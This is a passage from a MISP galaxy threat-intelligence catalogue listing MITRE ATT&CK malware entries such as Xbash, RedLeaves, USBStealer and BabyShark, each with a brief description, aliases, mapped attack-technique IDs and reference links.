uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
Links |
https://securelist.com/the-flame-questions-and-answers-51/34344/ |
https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache |
Xbash - S0341
[Xbash](https://attack.mitre.org/software/S0341) is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. [Xbash](https://attack.mitre.org/software/S0341) was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller.(Citation: Unit42 Xbash Sept 2018)
The tag is: misp-galaxy:mitre-malware="Xbash - S0341"
Xbash - S0341 is also known as:
-
Xbash
Xbash - S0341 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
Links |
Final1stspy - S0355
[Final1stspy](https://attack.mitre.org/software/S0355) is a dropper family that has been used to deliver [DOGCALL](https://attack.mitre.org/software/S0213).(Citation: Unit 42 Nokki Oct 2018)
The tag is: misp-galaxy:mitre-malware="Final1stspy - S0355"
Final1stspy - S0355 is also known as:
-
Final1stspy
Final1stspy - S0355 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
Links |
Cannon - S0351
[Cannon](https://attack.mitre.org/software/S0351) is a Trojan with variants written in C# and Delphi. It was first observed in April 2018. (Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)
The tag is: misp-galaxy:mitre-malware="Cannon - S0351"
Cannon - S0351 is also known as:
-
Cannon
Cannon - S0351 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
Links |
https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/ |
HIDEDRV - S0135
[HIDEDRV](https://attack.mitre.org/software/S0135) is a rootkit used by [APT28](https://attack.mitre.org/groups/G0007). It has been deployed along with [Downdelph](https://attack.mitre.org/software/S0134) to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)
The tag is: misp-galaxy:mitre-malware="HIDEDRV - S0135"
HIDEDRV - S0135 is also known as:
-
HIDEDRV
HIDEDRV - S0135 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
DualToy - S0315
[DualToy](https://attack.mitre.org/software/S0315) is Windows malware that installs malicious applications onto Android and iOS devices connected over USB. (Citation: PaloAlto-DualToy)
The tag is: misp-galaxy:mitre-malware="DualToy - S0315"
DualToy - S0315 is also known as:
-
DualToy
DualToy - S0315 has relationships with:
-
similar: misp-galaxy:malpedia="DualToy (Android)" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
Links |
RedLeaves - S0153
[RedLeaves](https://attack.mitre.org/software/S0153) is a malware family used by [menuPass](https://attack.mitre.org/groups/G0045). The code overlaps with [PlugX](https://attack.mitre.org/software/S0013) and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)
The tag is: misp-galaxy:mitre-malware="RedLeaves - S0153"
RedLeaves - S0153 is also known as:
-
RedLeaves
-
BUGJUICE
RedLeaves - S0153 has relationships with:
-
similar: misp-galaxy:rat="RedLeaves" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="BUGJUICE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf |
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html |
USBStealer - S0136
[USBStealer](https://attack.mitre.org/software/S0136) is malware that has used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)
The tag is: misp-galaxy:mitre-malware="USBStealer - S0136"
USBStealer - S0136 is also known as:
-
USBStealer
-
USB Stealer
-
Win32/USBStealer
USBStealer - S0136 has relationships with:
-
similar: misp-galaxy:tool="USBStealer" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
Janicab - S0163
[Janicab](https://attack.mitre.org/software/S0163) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)
The tag is: misp-galaxy:mitre-malware="Janicab - S0163"
Janicab - S0163 is also known as:
-
Janicab
Janicab - S0163 has relationships with:
-
similar: misp-galaxy:tool="Janicab" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.thesafemac.com/new-signed-malware-called-janicab/ |
CORESHELL - S0137
[CORESHELL](https://attack.mitre.org/software/S0137) is a downloader used by [APT28](https://attack.mitre.org/groups/G0007). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)
The tag is: misp-galaxy:mitre-malware="CORESHELL - S0137"
CORESHELL - S0137 is also known as:
-
CORESHELL
-
Sofacy
-
SOURFACE
CORESHELL - S0137 has relationships with:
-
similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
FLIPSIDE - S0173
[FLIPSIDE](https://attack.mitre.org/software/S0173) is a simple tool similar to Plink that is used by [FIN5](https://attack.mitre.org/groups/G0053) to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)
The tag is: misp-galaxy:mitre-malware="FLIPSIDE - S0173"
FLIPSIDE - S0173 is also known as:
-
FLIPSIDE
FLIPSIDE - S0173 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
Links |
POWERTON - S0371
[POWERTON](https://attack.mitre.org/software/S0371) is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by [APT33](https://attack.mitre.org/groups/G0064). At least two variants of the backdoor have been identified, with the later version containing improved functionality.(Citation: FireEye APT33 Guardrail)
The tag is: misp-galaxy:mitre-malware="POWERTON - S0371"
POWERTON - S0371 is also known as:
-
POWERTON
POWERTON - S0371 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
Links |
Marcher - S0317
[Marcher](https://attack.mitre.org/software/S0317) is Android malware that is used for financial fraud. (Citation: Proofpoint-Marcher)
The tag is: misp-galaxy:mitre-malware="Marcher - S0317"
Marcher - S0317 is also known as:
-
Marcher
Marcher - S0317 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Abuse Device Administrator Access to Prevent Removal - T1401" with estimative-language:likelihood-probability="almost-certain"
Links |
OLDBAIT - S0138
[OLDBAIT](https://attack.mitre.org/software/S0138) is a credential harvester used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)
The tag is: misp-galaxy:mitre-malware="OLDBAIT - S0138"
OLDBAIT - S0138 is also known as:
-
OLDBAIT
-
Sasfis
OLDBAIT - S0138 has relationships with:
-
similar: misp-galaxy:tool="OLDBAIT" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
FlawedAmmyy - S0381
[FlawedAmmyy](https://attack.mitre.org/software/S0381) is a remote access tool (RAT) that was first seen in early 2016. The code for [FlawedAmmyy](https://attack.mitre.org/software/S0381) was based on leaked source code for a version of Ammyy Admin, a remote access software.(Citation: Proofpoint TA505 Mar 2018)
The tag is: misp-galaxy:mitre-malware="FlawedAmmyy - S0381"
FlawedAmmyy - S0381 is also known as:
-
FlawedAmmyy
FlawedAmmyy - S0381 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware |
XLoader - S0318
[XLoader](https://attack.mitre.org/software/S0318) is a malicious Android app that was observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. (Citation: TrendMicro-XLoader)
The tag is: misp-galaxy:mitre-malware="XLoader - S0318"
XLoader - S0318 is also known as:
-
XLoader
XLoader - S0318 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Abuse Device Administrator Access to Prevent Removal - T1401" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
Links |
HAWKBALL - S0391
[HAWKBALL](https://attack.mitre.org/software/S0391) is a backdoor that was observed in targeting of the government sector in Central Asia.(Citation: FireEye HAWKBALL Jun 2019)
The tag is: misp-galaxy:mitre-malware="HAWKBALL - S0391"
HAWKBALL - S0391 is also known as:
-
HAWKBALL
HAWKBALL - S0391 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
Links |
Allwinner - S0319
[Allwinner](https://attack.mitre.org/software/S0319) is a company that supplies processors used in Android tablets and other devices. A Linux kernel distributed by [Allwinner](https://attack.mitre.org/software/S0319) for use on these devices reportedly contained a backdoor. (Citation: HackerNews-Allwinner)
The tag is: misp-galaxy:mitre-malware="Allwinner - S0319"
Allwinner - S0319 is also known as:
-
Allwinner
Allwinner - S0319 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
Links |
https://thehackernews.com/2016/05/android-kernal-exploit.html |
PowerDuke - S0139
[PowerDuke](https://attack.mitre.org/software/S0139) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)
The tag is: misp-galaxy:mitre-malware="PowerDuke - S0139"
PowerDuke - S0139 is also known as:
-
PowerDuke
PowerDuke - S0139 has relationships with:
-
similar: misp-galaxy:malpedia="PowerDuke" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
Links |
BabyShark - S0414
[BabyShark](https://attack.mitre.org/software/S0414) is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns. (Citation: Unit42 BabyShark Feb 2019)
The tag is: misp-galaxy:mitre-malware="BabyShark - S0414"
BabyShark - S0414 is also known as:
-
BabyShark
BabyShark - S0414 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Links |
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/ |
ChChes - S0144
[ChChes](https://attack.mitre.org/software/S0144) is a Trojan that appears to be used exclusively by [menuPass](https://attack.mitre.org/groups/G0045). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)
The tag is: misp-galaxy:mitre-malware="ChChes - S0144"
ChChes - S0144 is also known as:
-
ChChes
-
Scorpion
-
HAYMAKER
ChChes - S0144 has relationships with:
-
similar: misp-galaxy:tool="HAYMAKER" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="ChChes" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
